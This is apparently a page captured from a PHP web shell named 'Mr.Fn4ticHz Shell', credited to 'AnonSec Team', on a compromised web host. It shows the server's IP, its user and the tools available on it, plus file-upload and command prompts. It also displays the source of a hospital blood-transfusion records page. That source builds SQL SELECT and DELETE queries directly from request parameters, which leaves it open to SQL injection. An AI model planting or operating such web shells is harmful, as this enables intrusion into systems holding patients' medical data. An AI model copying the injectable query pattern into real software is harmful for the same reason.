Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.131.47
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//bloodtranfusion_nurse.php
<?php
session_start();
require_once("../dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once("../patientmanager.php");
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
if(isset($_POST['bloodtrans'])) 
{
   PatientManager::bloodtransfusion("$_GET[prescriptionid]","$_GET[patientid]","$_POST[blood]","$_POST[Diagnosis]","$_POST[Indications_Transfusion]","$_POST[blood_group]","$_POST[advers_reaction]","$_POST[Blood_Bag_Number]","$_POST[Products_Blood_Group]","$_POST[product_name]","$_POST[blood_bank_name]","$_POST[date_of_expiry]","$_POST[Blood_Checked_Doctor]","$_POST[doctor_id_no]","","$_POST[Nurse_Id_No]","$_POST[blood_start]","$_POST[blood_stop12]","$_POST[Wt]","$_POST[BP]","$_POST[BP2]","$_POST[Temp]","$_POST[RBS]","$_POST[Spo2]","$_POST[HR]","$_POST[Pulse]","$_POST[entered_by]");

	 }

?>

<?php
if(isset($_POST['updateblood'])) 
{
    
      $sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    $a=$_POST[Wt];
     $b=$rs[Height]*$rs[Height];
     $c=$a/$b*10000;
         $d=round($c, 2);
		PatientManager::vilalsblooadtr("$_GET[prescriptionid]","$_GET[patientid]","$d","$_POST[Wt]","$_POST[SPo2]","$_POST[RBS]","$_POST[Temp]","$_POST[Pulse]","$_POST[BP]","$_POST[BP2]","$_POST[stopid]","$_POST[enteredby]");
	 

	}
}
?>


<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM bloodtransfusion WHERE id='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
	    	$sql1 ="DELETE FROM patient_invace WHERE pagetype='$_GET[delid]'";
	$qsql1=mysqli_query($con,$sql1);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>Dressing</title>
      <style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider1 {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}
.slider1:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:checked + .slider1 {
  background-color: #2196F3;
}
input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:focus + .slider1 {
  box-shadow: 0 0 1px #2ab934; 
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}
input:checked + .slider1:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'StART';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

.slider1:after
{
 content:'STOP';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider1:after
{  
  content:'Start';
}

input:checked + .slider:after
{  
  content:'STOP';
}




.center {
   border: 1px solid grey;
   text-align:;
}

</style>

<script>
function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction1() {
  var checkBox = document.getElementById("myCheck1");
  var text = document.getElementById("text1");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
</script>
  

  <body>
      
           	<h3><i class="fa fa-angle-right"></i> &nbsp; &nbsp; 
Blood Transfusion Timeline 
 </h3>
 <?php
 $bloodStop=date("F d, Y / h:i:s A");
 $DisplayForm=True;
		$sql5 ="SELECT * FROM bloodtransfusion WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND blood='on'";
		$qsql5 = mysqli_query($con,$sql5);
		if($rt5 = mysqli_fetch_array($qsql5))
		{
$DisplayForm=False;
echo "
    <form name='updateblood' method='post'>
   <label class='switch'>
  <input id='myCheck1' onclick='myFunction1()' type='checkbox'>
  <span class='slider1'></span>
</label>
<p id='text1' style='display:none'>

<input type='hidden' name='stopid' value='$rt5[id]'>  
<label>Blood Pressure</label>
       <input type='number' placeholder='Systolic(mmHg)' name='BP'><input type='number' placeholder='Diastolic(mmHg)' name='BP2'>
          <label>Temp   (oC) </label
          <label><input type='text' placeholder='Temp   (oC)' name='Temp'></label>
          <label>RBS </label>
          <label><input type='text' placeholder='RBS' name='RBS'></label>
          <label>Spo2 (%) </label>
          <label><input type='text' placeholder='Spo2 (%)' name='SPo2'></label>
          <label>Pulse </label>
          <label><input type='text' placeholder='Pulse' name='Pulse'></label>";
       ?>   
           <input type='text' name='blood_stop12'  value='<?php echo date("F d, Y / h:i:s A") ?>'> 
 <?php 
 echo"<script>
var today = new Date();
var time = today.getHours() + ':' + today.getMinutes() + ':' + today.getSeconds();
  document.getElementById('myCheck').value = time;
</script>
<button type='submit' name='updateblood'>Stop</button>
  </form>";
}
if($DisplayForm)
{
?>
     
           	<form name="bloodtrans" method="post">

<label class="switch">
  <input id="myCheck" name="blood" onclick="myFunction()" type="checkbox" >
  <span class="slider"></span>
</label>
<p id="text" style="display:none">
 <label> Blood Bag Number: </label>
<td width='50%'><input type='text' placeholder='Blood Bag Number' name='Blood_Bag_Number'>
 <label> Product's Blood Group: </label>
 

								  <select name="Products_Blood_Group">
           <option value="Blood Group">Blood Group</option>
          <option value='A+'>A+</option>
          <option value='A-'>A-</option>
          <option value='B+'>B+</option>
          <option value='B-'>B-</option>
          <option value='O+'>O+</option>
          <option value='O-'>O-</option>
          <option value='AB+'>AB+</option>
          <option value='AB-'>AB-</option>   
          </select>
</tr>
   <tr>
 <label>Product's Name(PL. encircle): </label>
<select name="product_name">
    <option value="Whole Blood">Whole Blood</option>
    <option value="RBC">RBC</option>
    <option value="PRC">PRC</option>
    <option value="FFP">FFP</option>
    <option value="CPP">CPP</option>
    <option value="Cryoprecipitate">Cryoprecipitate</option>
</select>
  <label> Name of the Blood Bank: </label>
 <input type='text' placeholder='Name of the Blood Bank' name='blood_bank_name'>
 <label> Date of expiry: </label>
<input type='date' placeholder='Date of expiry' name='date_of_expiry'>
 <label> Blood Checked by the Doctor: </label>
<input type='text' placeholder='Blood Checked by the Doctor' name='Blood_Checked_Doctor'>
  <label>Blood Pressure</label>
       <input type="number" placeholder="Systolic(mmHg)" name="BP"><input type="number" placeholder="Diastolic(mmHg)" name="BP2">
          <label>Temp   (oC) </label
          <label><input type='text' placeholder='Temp   (oC)' name='Temp'></label>
          <label>RBS </label>
          <label><input type='text' placeholder='RBS' name='RBS'></label>
          <label>Spo2 (%) </label>
          <label><input type='text' placeholder='Spo2 (%)' name='Spo2'></label>
          <label>Pulse </label>
          <label><input type='text' placeholder='Pulse' name='Pulse'></label>

 <br>
<?php
$Curent_at=date("F d, Y / h:i:s A");
?>
 <input type="hidden" name="blood_start" id="" value='<?php echo $Curent_at ?>'>
  <!--<input type="hidden" name="blood_start" id="currentTime" >-->
 <script>
var today = new Date();
var time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
  document.getElementById("currentTime").value = time;
</script>
<input type="submit" name="bloodtrans" value="Submit">


</form>

	  <?php
}
?>


          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>

  </head>

 <table border="1">
  
                  <tr>
        
          <th><div align="center">Start Time </div></th>
          <th><div align="center">Stop Time </div></th>  
            <th><div align="center">Created</div></th>
          <th><div align="center">Details </div></th>  
          

               </tr>
       
<?php
include("dbconnection.php");
$sql4 ="SELECT * FROM bloodtransfusion WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql4 = mysqli_query($con,$sql4);
		while($rp = mysqli_fetch_array($qsql4))
		{
		    $sql1 ="SELECT * FROM site_users WHERE userno='$rp[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		    echo " 
	                <tr>
               
                
                 <td>&nbsp;$rp[blood_start]</td>
                    <td>&nbsp;$rp[blood_stop]</td>
                 
                  
                  <td>&nbsp;<b>Created By : </b>$re[name]</td>
                 
                  <td style='width:25%'>
                  <a href='viewbloodtransfusion.php?prescriptionid=$rp[prescriptionid]&patientid=$rp[patientid]&id=$rp[id]'  style='width:15%'><i class='fa fa-eye' aria-hidden='true' style='font-size:20px;color:red;width:10%'></i></a>&nbsp;&nbsp;|&nbsp;&nbsp;
                  
                  
                  <a href='edit_showBlood_Transfusion.php?prescriptionid=$rp[prescriptionid]&patientid=$rp[patientid]&id=$rp[id]' style='width:15%'><i class='fa fa-pencil-square-o' aria-hidden='true' style='font-size:20px;width:10%'></i></a>&nbsp;&nbsp; | &nbsp;&nbsp;<a href='nursingrecodstest.php?prescriptionid=$rp[prescriptionid]&patientid=$rp[patientid]&delid=$rp[id]'  style='width:15%'><i class='fa fa-trash-o' aria-hidden='true' style='font-size:20px;color:red;width:10%'></i></a>
                  
                  </td>
                    
                                 </tr>                   
          
          ";


}

}

?>   
 </table>

Anon7 - 2022
AnonSec Team